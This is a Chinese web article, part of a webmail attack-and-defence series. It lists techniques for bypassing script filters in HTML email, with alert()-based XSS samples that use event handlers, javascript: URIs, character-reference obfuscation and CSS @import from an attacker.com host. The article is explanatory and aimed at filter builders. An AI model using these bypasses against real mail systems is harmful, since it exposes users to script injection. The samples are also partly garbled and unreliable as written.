Webmail攻防实战(4)
核心提示:鉴于脚本程序可能带来的危险,WebMail系统完全有必要制止html邮件中的脚本程序。制止脚本程序的基本做法就是过滤掉html源程序中能够使脚本程序运行的代码,如script元素等,在这方面做的最好的莫过于hotmail了。
鉴于脚本程序可能带来的危险,WebMail系统完全有必要制止html邮件中的脚本程序。制止脚本程序的基本做法就是过滤掉html源程序中能够使脚本程序运行的代码,如script元素等,在这方面做的最好的莫过于hotmail了。下面是些常见的绕过脚本程序过滤的方法,很多的WebMail系统依然没有完全改正:
(1)在html语言里,除script元素内的或在script元素内引进的脚本程序能在html页面装载时被运行外,使用事件属性也能调用脚本程序运行,事件属性在JavaScript语言里被称为事件句柄,用于对页面上的某个特定事件(如鼠标点击、表单提交)做出响应,驱动javascript程序运行。它的语法以下:
<tagattribute1attribute2onEventName="javascriptcode;">
例如:
以下为援用的内容: <bodyonload="alert('JavaScript#1i***ecuted');"> <ahref="#"onclick="alert('JavaScript#2i***ecuted');">Clickhere</a> <formmethod="post"action="#"onsubmit="alert('JavaScript#3i***ecuted');"> <inputtype="submit"value="Submit"> </form> </body> |
(2)URI(UniversalResourceIdentifier:通用资源标识)用于定位Internet上每种可用的资源,如HTML文档、图象、声音等。浏览器根据URI的资源类型(URIscheme)调用相应的程序操纵该资源,假设把1些元素的URI属性值的资源类型设为javascript,则能够调用javascript程序运行。语法以下,留意要用“;”分隔不同的javascript语句:
<tagattribute="javascript:javascript-code;">
例如:
以下为援用的内容: <bodybackground="javascript:alert('JavaScript#1i***ecuted');"> <ahref="javascript:alert('JavaScript#2i***ecuted');">Clickhere</a> <formmethod="post"action="javascript:alert('JavaScript#3i***ecuted');"> <inputtype="submit"value="Submit"> </form> <imgsrc="javascript:alert('JavaScript#4i***ecuted');"> </body> |
(3)由于软硬件或其他缘由,1些冷僻或特殊的字符不能输进或正确显示在html页面上,为了解决这个题目,html中可使用SGML字符参考。字符参考是1种用来指定文档字符集中任何字符的独立编码机制,以“&”开始,以“;”结束。字符参考有两种表达方式:数字字符参考和实体字符参考。数字字符参考的语法为“&#D;”(D代表1个10进制数),或“&#xH;”、“&#XH;”(H代表1个106进制数),例如“A;”、“A;”表示字母“A”,“水;”、“水;”表示汉字“水”。
攻击者把html语句里的1些字符以数字字符参考来代替,这样能避开WebMail系统对脚本程序的过滤。需要留意的是,元素和属性不可以用字符参考表示,例如:
以下为援用的内容: <body> <imglowsrc="ja;vasC;ript:alert('JavaScript#1i***ecuted')"> <ahref="j;avA;sC;ript:;aler;t('JavaScript#2 i;ܾxecuted')">Clickhere;</a> <formmethod="post"action="javascript:alert('JavaScript#3is executed')"> <inputtype="S;ubmit"value="Submit"> </form> </body> |
(4)样式表是层叠样式表单(CSS:CascadingStyleSheet)的简称,用于控制、增强或同1网页上的样式(如字体、色采等),它能够将样式信息与网页内容相分离,在html语言的style标签内可以用@import声明输进1个样式表。但是,假设输进的资源类型或内容是javascript,InternetExplorer浏览器依然会履行。
以下为援用的内容: 例如:<styletype="text/css"> <!-- @importurl(javascript:alert('JavaScript#1i***ecuted')); @importurl(http://www.attacker.com/js.css); --> </style> |
其中http://www.attacker.com/js.css的内容以下所示:
以下为援用的内容: @importurl(javascript:alert('JavaScript#2i***ecuted')); @importurl(javascript:eval(String.fromCharCode (97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97, 108,101,114,116,40,39,84,101,115,116,32,50,39,41,59))); |
能够绕过WebMail系统对脚本程序过滤的方法远不止上面所说的这些,例如曾有人发现把“<script>”标签改成“<_a<script>”和“<<script>”的模样能绕过yahoo电邮的过滤,这个漏洞yahoo在最近才改正过来。 唐山网站建设www.fw8.net
TAG:程序,内容,脚本,字符,元素
评论加载中...
|
上一篇: PHP实例:常常使用的数值判定函数
下一篇: .NET中*延迟*特性的几个圈套